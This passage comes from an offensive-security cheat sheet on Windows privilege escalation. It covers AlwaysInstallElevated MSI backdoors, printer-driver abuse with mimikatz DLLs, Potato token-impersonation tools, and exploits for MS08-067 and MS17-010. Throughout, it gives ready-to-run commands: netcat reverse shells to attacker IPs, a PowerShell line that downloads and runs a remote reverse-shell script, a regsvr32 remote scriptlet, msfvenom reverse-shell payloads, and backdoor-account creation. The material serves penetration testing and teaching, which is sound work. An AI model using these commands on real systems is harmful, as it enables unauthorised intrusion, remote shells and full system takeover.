- [MS16-111](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-111) 　[KB3186973]　　[kernel api]　　(Windows 10 10586 (32/64)/8.1)
- [MS16-098](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-098) 　[KB3178466]　　[Kernel Driver]　　(Win 8.1)
- [MS16-075](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075) 　[KB3164038]　　[Hot Potato]　　(2003/2008/7/8/2012)
- [MS16-034](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034) 　[KB3143145]　　[Kernel Driver]　　(2008/7/8/10/2012)
- [MS16-032](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032) 　[KB3143141]　　[Secondary Logon Handle]　　(2008/7/8/10/2012)
- [MS16-016](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-016) 　[KB3136041]　　[WebDAV]　　(2008/Vista/7)
- [MS16-014](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-014) 　[K3134228]　　[remote code execution]　　(2008/Vista/7)    
...
- [MS03-026](./MS03-026) 　[KB823980]　　 [Buffer Overrun In RPC Interface]　　(/NT/2000/XP/2003)  

To cross compile a program from Kali, use the following command.

```powershell
Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c
```

## EoP - Microsoft Windows Installer

### AlwaysInstallElevated

Using the `reg query` command, you can check the status of the `AlwaysInstallElevated` registry key for both the user and the machine. If both queries return a value of `0x1`, then `AlwaysInstallElevated` is enabled for both user and machine, indicating the system is vulnerable.

* Shell command
    ```powershell
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    ```
* PowerShell command
    ```powershell
    Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
    Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
    ```

Then create an MSI package and install it.

```powershell
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi-nouac -o evil.msi
$ msiexec /quiet /qn /i C:\evil.msi
```

Technique also available in :
* Metasploit : `exploit/windows/local/always_install_elevated`
* PowerUp.ps1 : `Get-RegistryAlwaysInstallElevated`, `Write-UserAddMSI`


### CustomActions

> Custom Actions in MSI allow developers to specify scripts or executables to be run at various points during an installation

* [mgeeky/msidump](https://github.com/mgeeky/msidump) - a tool that analyzes malicious MSI installation packages, extracts files, streams, binary data and incorporates YARA scanner.
* [activescott/lessmsi](https://github.com/activescott/lessmsi) - A tool to view and extract the contents of an Windows Installer (.msi) file.
* [mandiant/msi-search](https://github.com/mandiant/msi-search) - This tool simplifies the task for red team operators and security teams to identify which MSI files correspond to which software and enables them to download the relevant file.

Enumerate products on the machine

```ps1
wmic product get identifyingnumber,name,vendor,version
```

Execute the repair process with the `/fa` parameter to trigger the CustomActions. 
We can use both IdentifyingNumber `{E0F1535A-8414-5EF1-A1DD-E17EDCDC63F1}` or path to the installer `c:\windows\installer\XXXXXXX.msi`.
The repair will run with the NT SYSTEM account.

```ps1
$installed = Get-WmiObject Win32_Product
$string= $installed | select-string -pattern "PRODUCTNAME"
$string[0] -match '{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}}'
Start-Process -FilePath "msiexec.exe" -ArgumentList "/fa $($matches[0])"
```

Common mistakes in MSI installers:

* Missing quiet parameters: it will spawn `conhost.exe` as `NT SYSTEM`. Use `[CTRL]+[A]` to select some text in it, it will pause the execution.
    * conhost -> properties -> "legacy console mode" Link -> Internet Explorer -> CTRL+O –> cmd.exe
* GUI with direct actions: open a URL and start the browser then use the same scenario.
* Binaries/Scripts loaded from user writable paths: you might need to win the race condition.
* DLL hijacking/search order abusing
* PowerShell `-NoProfile` missing: Add custom commands into your profile
    ```ps1
    new-item -Path $PROFILE -Type file -Force
    echo "Start-Process -FilePath cmd.exe -Wait;" > $PROFILE
    ```


## EoP - Insecure GUI apps

Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.

Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"


## EoP - Evaluating Vulnerable Drivers

Look for vuln drivers loaded, we often don't spend enough time looking at this:

* [Living Off The Land Drivers](https://www.loldrivers.io/) is a curated list of Windows drivers used by adversaries to bypass security controls and carry out attacks. The project helps security professionals stay informed and mitigate potential threats.
* Native binary: DriverQuery.exe
    ```powershell
    PS C:\Users\Swissky> driverquery.exe /fo table /si
    Module Name  Display Name           Driver Type   Link Date
    ============ ====================== ============= ======================
    1394ohci     1394 OHCI Compliant Ho Kernel        12/10/2006 4:44:38 PM
    3ware        3ware                  Kernel        5/18/2015 6:28:03 PM
    ACPI         Microsoft ACPI Driver  Kernel        12/9/1975 6:17:08 AM
    AcpiDev      ACPI Devices driver    Kernel        12/7/1993 6:22:19 AM
    acpiex       Microsoft ACPIEx Drive Kernel        3/1/2087 8:53:50 AM
    acpipagr     ACPI Processor Aggrega Kernel        1/24/2081 8:36:36 AM
    AcpiPmi      ACPI Power Meter Drive Kernel        11/19/2006 9:20:15 PM
    acpitime     ACPI Wake Alarm Driver Kernel        2/9/1974 7:10:30 AM
    ADP80XX      ADP80XX                Kernel        4/9/2015 4:49:48 PM
    <SNIP>
    ```
* [matterpreter/OffensiveCSharp/DriverQuery](https://github.com/matterpreter/OffensiveCSharp/tree/master/DriverQuery)
    ```powershell
    PS C:\Users\Swissky> DriverQuery.exe --no-msft
    [+] Enumerating driver services...
    [+] Checking file signatures...
    Citrix USB Filter Driver
        Service Name: ctxusbm
        Path: C:\Windows\system32\DRIVERS\ctxusbm.sys
        Version: 14.11.0.138
        Creation Time (UTC): 17/05/2018 01:20:50
        Cert Issuer: CN=Symantec Class 3 SHA256 Code Signing CA, OU=Symantec Trust Network, O=Symantec Corporation, C=US
        Signer: CN="Citrix Systems, Inc.", OU=XenApp(ClientSHA256), O="Citrix Systems, Inc.", L=Fort Lauderdale, S=Florida, C=US
    <SNIP>
    ```

## EoP - Printers

### Universal Printer

Create a Printer

```ps1
$printerName     = 'Universal Priv Printer'
$system32        = $env:systemroot + '\system32'
$drivers         = $system32 + '\spool\drivers'
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Printers\' + $printerName
 
Copy-Item -Force -Path ($system32 + '\mscms.dll')             -Destination ($system32 + '\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll'   -Destination ($drivers  + '\x64\3\mimispool.dll')
Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destination ($drivers  + '\W32X86\3\mimispool.dll')
 
Add-PrinterDriver -Name       'Generic / Text Only'
Add-Printer       -DriverName 'Generic / Text Only' -Name $printerName -PortName 'FILE:' -Shared
 
New-Item         -Path ($RegStartPrinter + '\CopyFiles')        | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Directory' -PropertyType 'String'      -Value 'x64\3'           | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Files'     -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'Module'    -PropertyType 'String'      -Value 'mscms.dll'       | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -PropertyType 'String'      -Value 'W32X86\3'        | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files'     -PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module'    -PropertyType 'String'      -Value 'mscms.dll'       | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Mango')  | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Directory' -PropertyType 'String'      -Value $null             | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Files'     -PropertyType 'MultiString' -Value $null             | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Module'    -PropertyType 'String'      -Value 'mimispool.dll'   | Out-Null
```

Execute the driver

```ps1
$serverName  = 'dc.purple.lab'
$printerName = 'Universal Priv Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName
```

### PrinterNightmare

```ps1
git clone https://github.com/Flangvik/DeployPrinterNightmare
PS C:\adversary> FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell
[<3] @Flangvik - TrustedSec
[+] Copying C:\Windows\system32\mscms.dll to C:\Windows\system32\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 64mimispool.dll to C:\Windows\system32\spool\drivers\x64\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 32mimispool.dll to C:\Windows\system32\spool\drivers\W32X86\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Adding printer driver => Generic / Text Only!
[+] Adding printer => EasySystemShell!
[+] Setting 64-bit Registry key
[+] Setting 32-bit Registry key
[+] Setting '*' Registry key
```

```ps1
PS C:\target> $serverName  = 'printer-installed-host'
PS C:\target> $printerName = 'EasySystemShell'
PS C:\target> $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
PS C:\target> Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
PS C:\target> Add-Printer -ConnectionName $fullprinterName
```

### Bring Your Own Vulnerability

Concealed Position : https://github.com/jacob-baines/concealed_position

* ACIDDAMAGE - [CVE-2021-35449](https://nvd.nist.gov/vuln/detail/CVE-2021-35449) - Lexmark Universal Print Driver LPE
* RADIANTDAMAGE - [CVE-2021-38085](https://nvd.nist.gov/vuln/detail/CVE-2021-38085) - Canon TR150 Print Driver LPE
* POISONDAMAGE - [CVE-2019-19363](https://nvd.nist.gov/vuln/detail/CVE-2019-19363) - Ricoh PCL6 Print Driver LPE
* SLASHINGDAMAGE - [CVE-2020-1300](https://nvd.nist.gov/vuln/detail/CVE-2020-1300) - Windows Print Spooler LPE

```powershell
cp_server.exe -e ACIDDAMAGE
# Get-Printer
# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"
cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE
```

## EoP - Runas

Use the `cmdkey` to list the stored credentials on the machine.

```powershell
cmdkey /list
Currently stored credentials:
 Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator
```

Then you can use `runas` with the `/savecred` options in order to use the saved credentials. 
The following example is calling a remote binary via an SMB share.
```powershell
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas /savecred /user:Administrator "cmd.exe /k whoami"
```

Using `runas` with a provided set of credential.

```powershell
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
```

```powershell
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
```

## EoP - Abusing Shadow Copies

If you have local administrator access on a machine try to list shadow copies, it's an easy way for Privilege Escalation.

```powershell
# List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
  
# List shadow copies using diskshadow
diskshadow list shadows all
  
# Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
```

## EoP - From local administrator to NT SYSTEM

```powershell
PsExec.exe -i -s cmd.exe
```

## EoP - Living Off The Land Binaries and Scripts

Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/

> The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.

A LOLBin/Lib/Script must:

* Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft.
Have extra "unexpected" functionality. It is not interesting to document intended use cases.
Exceptions are application whitelisting bypasses
* Have functionality that would be useful to an APT or red team

```powershell
wmic.exe process call create calc
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml
```

## EoP - Impersonation Privileges

Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.

| Privilege | Impact | Tool | Execution path | Remarks |
| --- | --- | --- | --- | --- |
|`SeAssignPrimaryToken`| ***Admin*** | 3rd party tool | *"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"* | Thank you [Aurélien Chalot](https://twitter.com/Defte_) for the update. I will try to re-phrase it to something more recipe-like soon. |
|`SeBackup`| **Threat** | ***Built-in commands*** | Read sensitve files with `robocopy /b` |- May be more interesting if you can read %WINDIR%\MEMORY.DMP<br> <br>- `SeBackupPrivilege` (and robocopy) is not helpful when it comes to open files.<br> <br>- Robocopy requires both SeBackup and SeRestore to work with /b parameter. |
|`SeCreateToken`| ***Admin*** | 3rd party tool | Create arbitrary token including local admin rights with `NtCreateToken`. ||
|`SeDebug`| ***Admin*** | **PowerShell** | Duplicate the `lsass.exe` token.  | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
|`SeLoadDriver`| ***Admin*** | 3rd party tool | 1. Load buggy kernel driver such as `szkg64.sys` or `capcom.sys`<br>2. Exploit the driver vulnerability<br> <br> Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv` | 1. The `szkg64` vulnerability is listed as [CVE-2018-15732](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732)<br>2. The `szkg64` [exploit code](https://www.greyhathacker.net/?p=1025) was created by [Parvez Anwar](https://twitter.com/parvezghh)  |
|`SeRestore`| ***Admin*** | **PowerShell** | 1. Launch PowerShell/ISE with the SeRestore privilege present.<br>2. Enable the privilege with [Enable-SeRestorePrivilege](https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1)).<br>3. Rename utilman.exe to utilman.old<br>4. Rename cmd.exe to utilman.exe<br>5. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTakeOwnership`| ***Admin*** | ***Built-in commands*** |1. `takeown.exe /f "%windir%\system32"`<br>2. `icalcs.exe "%windir%\system32" /grant "%username%":F`<br>3. Rename cmd.exe to utilman.exe<br>4. Lock the console and press Win+U| Attack may be detected by some AV software.<br> <br>Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
|`SeTcb`| ***Admin*** | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate.<br> <br>To be verified. ||

### Restore A Service Account's Privileges

> This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only.

```powershell
# https://github.com/itm4n/FullPowers

c:\TOOLS>FullPowers
[+] Started dummy thread with id 9976
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
```

### Meterpreter getsystem and alternatives

```powershell
meterpreter> getsystem 
Tokenvator.exe getsystem cmd.exe 
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe 
psexec -s -i cmd.exe 
python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc
```

### RottenPotato (Token Impersonation)

* Binary available at : [foxglovesec/RottenPotato](https://github.com/foxglovesec/RottenPotato) and [breenmachine/RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)
* Exploit using Metasploit with `incognito mode` loaded.
    ```c
    getuid
    getprivs
    use incognito
    list\_tokens -u
    cd c:\temp\
    execute -Hc -f ./rot.exe
    impersonate\_token "NT AUTHORITY\SYSTEM"
    ```

```powershell
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
```


### Juicy Potato (Abusing the golden privileges)

> If the machine is **>= Windows 10 1809 & Windows Server 2019** - Try **Rogue Potato**    
> If the machine is **< Windows 10 1809 < Windows Server 2019** - Try **Juicy Potato**

* Binary available at : [ohpe/juicy-potato](https://github.com/ohpe/juicy-potato/releases) 

1. Check the privileges of the service account, you should look for **SeImpersonate** and/or **SeAssignPrimaryToken** (Impersonate a client after authentication)

    ```powershell
    whoami /priv
    ```

2. Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object

    * [Windows 7 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise) 
    * [Windows 8.1 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_8.1_Enterprise)
    * [Windows 10 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_10_Enterprise)
    * [Windows 10 Professional](https://ohpe.it/juicy-potato/CLSID/Windows_10_Pro)
    * [Windows Server 2008 R2 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise) 
    * [Windows Server 2012 Datacenter](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2012_Datacenter)
    * [Windows Server 2016 Standard](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard) 

3. Execute JuicyPotato to run a privileged command.

    ```powershell
    JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}
    JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
    JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe"
        Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337
        ......
        [+] authresult 0
        {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM
        [+] CreateProcessWithTokenW OK
    ```

### Rogue Potato (Fake OXID Resolver)

* Binary available at [antonioCoco/RoguePotato](https://github.com/antonioCoco/RoguePotato)

```powershell
# Network redirector / port forwarder to run on your remote machine, must use port 135 as src port
socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999

# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine. 
# Use this if you have fw restrictions.
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"

# RoguePotato all in one with RogueOxidResolver running locally on port 9999
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999

#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode
```

### EFSPotato (MS-EFSR EfsRpcOpenFileRaw)

* Binary available at https://github.com/zcgonvh/EfsPotato

```powershell
# .NET 4.x
csc EfsPotato.cs
csc /platform:x86 EfsPotato.cs

# .NET 2.0/3.5
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs
```

### JuicyPotatoNG

* [antonioCoco/JuicyPotatoNG](https://github.com/antonioCoco/JuicyPotatoNG)

```powershell
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" > C:\juicypotatong.txt
```


###  PrintSpoofer (Printer Bug)

> this work if SeImpersonatePrivilege is enabled

* Binary available at https://github.com/itm4n/PrintSpoofer/releases/tag/v1.0

```powershell
# run nc -lnvp 443 then :
.\PrintSpoofer64.exe -c "C:\Temp\nc64.exe 192.168.45.171 443 -e cmd"
# without listener
.\PrintSpoofer64.exe -i -c cmd
# Via RPD
.\PrintSpoofer64.exe -d 3 -c "powershell -ep bypass"
```

## EoP - Privileged File Write

### DiagHub

:warning: Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.

The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM. 
This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the `C:\Windows\System32` directory. 

#### Exploit

1. Create an [evil DLL](https://gist.github.com/xct/3949f3f4f178b1f3427fae7686a2a9c0) e.g: payload.dll and move it into `C:\Windows\System32`
2. Build https://github.com/xct/diaghub
3. `diaghub.exe c:\\ProgramData\\ payload.dll`

The default payload will run `C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe`

Alternative tools:
* https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-5825/TrigDiag
* https://github.com/decoder-it/diaghub_exploit


### UsoDLLLoader

:warning: 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.

> An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a. @tiraniddo)

If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of `windowscoredeviceinfo.dll` into `C:\Windows\Sytem32\` and then have it loaded by the USO service to get arbitrary code execution as **NT AUTHORITY\System**.

#### Exploit

1. Build https://github.com/itm4n/UsoDllLoader
    * Select Release config and x64 architecure.
    * Build solution.
        * DLL .\x64\Release\WindowsCoreDeviceInfo.dll
        * Loader .\x64\Release\UsoDllLoader.exe.
2. Copy `WindowsCoreDeviceInfo.dll` to `C:\Windows\System32\`
3. Use the loader and wait for the shell or run `usoclient StartInteractiveScan` and connect to the bind shell on port 1337.


### WerTrigger

> Exploit Privileged File Writes bugs with Windows Problem Reporting

1. Clone https://github.com/sailay1996/WerTrigger
2. Copy `phoneinfo.dll` to `C:\Windows\System32\`
3. Place `Report.wer` file and `WerTrigger.exe` in a same directory.
4. Then, run `WerTrigger.exe`.
5. Enjoy a shell as **NT AUTHORITY\SYSTEM**

### WerMgr

> Exploit Privileged Directory Creation Bugs with Windows Error Reporting

1. Clone https://github.com/binderlabs/DirCreate2System
2. Create directory `C:\Windows\System32\wermgr.exe.local\`
3. Grant access to it: `cacls C:\Windows\System32\wermgr.exe.local /e /g everyone:f`
4. Place `spawn.dll` file and `dircreate2system.exe` in a same directory and run `.\dircreate2system.exe`. 
5. Enjoy a shell as **NT AUTHORITY\SYSTEM**


## EoP - Privileged File Delete

During an MSI installation, the Windows Installer service maintains a record of every changes in case it needs to be rolled back, to do that it will create:

* a folder at `C:\Config.Msi` containing 
    * a rollback script (`.rbs`) 
    * a rollback file (`.rbf`)

To convert a privileged file delete to a local privilege escalation, you need to abuse the Windows Installer service.
* delete the protected `C:\Config.Msi` folder immediately after it's created by the Windows Installer
* recreate the `C:\Config.Msi` folder with weak DACL permissions since ordinary users are allowed to create folders at the root of `C:\`.
* drop malicious `.rbs` and `.rbf` files into it to be executed by the MSI rollback
* then upon rollback, Windows Installer will make arbitrary changes to the system

The easiest way to trigger this chain is using [thezdi/FilesystemEoPs/FolderOrFileDeleteToSystem](https://github.com/thezdi/PoC/tree/master/FilesystemEoPs/FolderOrFileDeleteToSystem).
The exploit contains a .msi file with 2 actions, the first one produces a delay and the second throws an error to make it rollback. This rollback will "restore" a malicious HID.dll in `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`.

Then switch to the secure desktop using `[CTRL]+[ALT]+[DELETE]` and open the On-Screen Keyboard (`osk.exe`).
The `osk.exe` process first looks for the `C:\Program Files\Common Files\microsoft shared\ink\HID.dll` library instead of `C:\Windows\System32\HID.dll`


## EoP - Common Vulnerabilities and Exposure

### MS08-067 (NetAPI)

Check the vulnerability with the following nmap script.

```c
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 <ip_netblock>
```

Metasploit modules to exploit `MS08-067 NetAPI`.

```powershell
exploit/windows/smb/ms08_067_netapi
```

If you can't use Metasploit and only want a reverse shell.

```powershell
https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows

Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
python ms08-067.py 10.0.0.1 6 445
```


### MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7 

'KiTrap0D' User Mode to Ring Escalation (MS10-015)

```powershell
https://www.exploit-db.com/exploits/11199

Metasploit : exploit/windows/local/ms10_015_kitrap0d
```

### MS11-080 (afd.sys) - Microsoft Windows XP/2003

```powershell
Python: https://www.exploit-db.com/exploits/18176
Metasploit: exploit/windows/local/ms11_080_afdjoinleaf
```

### MS15-051 (Client Copy Image) - Microsoft Windows 2003/2008/7/8/2012

```powershell
printf("[#] usage: ms15-051 command \n");
printf("[#] eg: ms15-051 \"whoami /all\" \n");

# x32
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe

# x64
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051
use exploit/windows/local/ms15_051_client_copy_image
```


### MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)

Check if the patch is installed : `wmic qfe list | findstr "3139914"`

```powershell
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1

Binary exe : https://github.com/Meatballs1/ms16-032

Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```

### MS17-010 (Eternal Blue)

Check the vulnerability with the following nmap script or crackmapexec: `crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M ms17-010`.

```c
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 <ip_netblock>
```

Metasploit modules to exploit `EternalRomance/EternalSynergy/EternalChampion`.

```powershell
auxiliary/admin/smb/ms17_010_command          MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010            MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue      MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec           MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
```

If you can't use Metasploit and only want a reverse shell.

```powershell
git clone https://github.com/helviojunior/MS17-010

# generate a simple reverse shell to use
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe
python2 send_and_execute.py 10.0.0.1 revshell.exe
```

### CVE-2019-1388

Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html

Requirement:
- Windows 7 
- Windows 10 LTSC 10240

Failing on : 
- LTSC 2019
- 1709
- 1803

